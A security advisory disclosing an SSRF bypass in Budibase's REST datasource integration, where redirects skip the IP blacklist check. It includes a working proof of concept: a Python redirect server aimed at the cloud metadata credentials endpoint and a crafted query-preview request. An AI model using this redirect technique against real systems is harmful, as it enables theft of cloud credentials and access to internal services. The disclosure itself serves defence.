Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration

Summary

The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (fetchWithBlacklist in packages/server/src/automations/steps/utils.ts) but the REST integration was missed.

Details

Vulnerable file: packages/server/src/integrations/rest.ts, lines 754-778

The _req() method checks the request URL against the IP blacklist at line 754, then calls fetch(url, input) at line 778. No redirect: "manual" option is set, so undici's fetch defaults to redirect: "follow", automatically following HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist.

// Line 754 — blacklist check on original URL only
if (await blacklist.isBlacklisted(url)) {
  throw new Error("URL is blocked or could not be resolved safely.")
}

// Line 778 — fetch follows redirects, NO re-check on redirect target
response = await fetch(url, input)

The automation steps already implement the correct fix in packages/server/src/automations/steps/utils.ts (lines 100-136) via fetchWithBlacklist(), which sets redirect: "manual" and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.

Relevant prior fix commits on the automation side:

• 6cfa3bcca3 — "fix(server): enforce outbound blacklist in webhook automation steps"
• e7d47625be — "Fix automation webhook blacklist redirect bypass"

PoC

Step 1 — Set up a redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.

Step 3 — Preview a query:

POST /api/queries/preview HTTP/1.1
Host: <budibase-instance>
Content-Type: application/json
Cookie: <builder-session>
x-budibase-app-id: <app-id>

{
  "datasourceId": "<rest-datasource-id>",
  "queryVerb": "read",
  "fields": {
    "path": "http://<attacker-ip>:8080/",
    "queryString": "",
    "headers": {},
    "bodyType": "none",
    "requestBody": ""
  },
  "parameters": [],
  "transformer": "return data",
  "name": "ssrf-test",
  "schema": {}
}

Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:

{
  "rows": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "uuid": "a84d3353128485a22973a759df2387bc"
  }]
}

Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active.

Impact

• Cloud credential theft: On AWS/GCP/Azure instances, attacker accesses 169.254.169.254 to steal IAM credentials or service account tokens.
• Internal service access: CouchDB (:4005), Redis (:6379), MinIO (:4004), and other internal services become accessible
• Bypasses explicit security control: The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected.
• Already-known vulnerability class: This was previously identified and fixed in automation steps (commits 6cfa3bcca3, e7d47625be) but the REST datasource integration was not patched.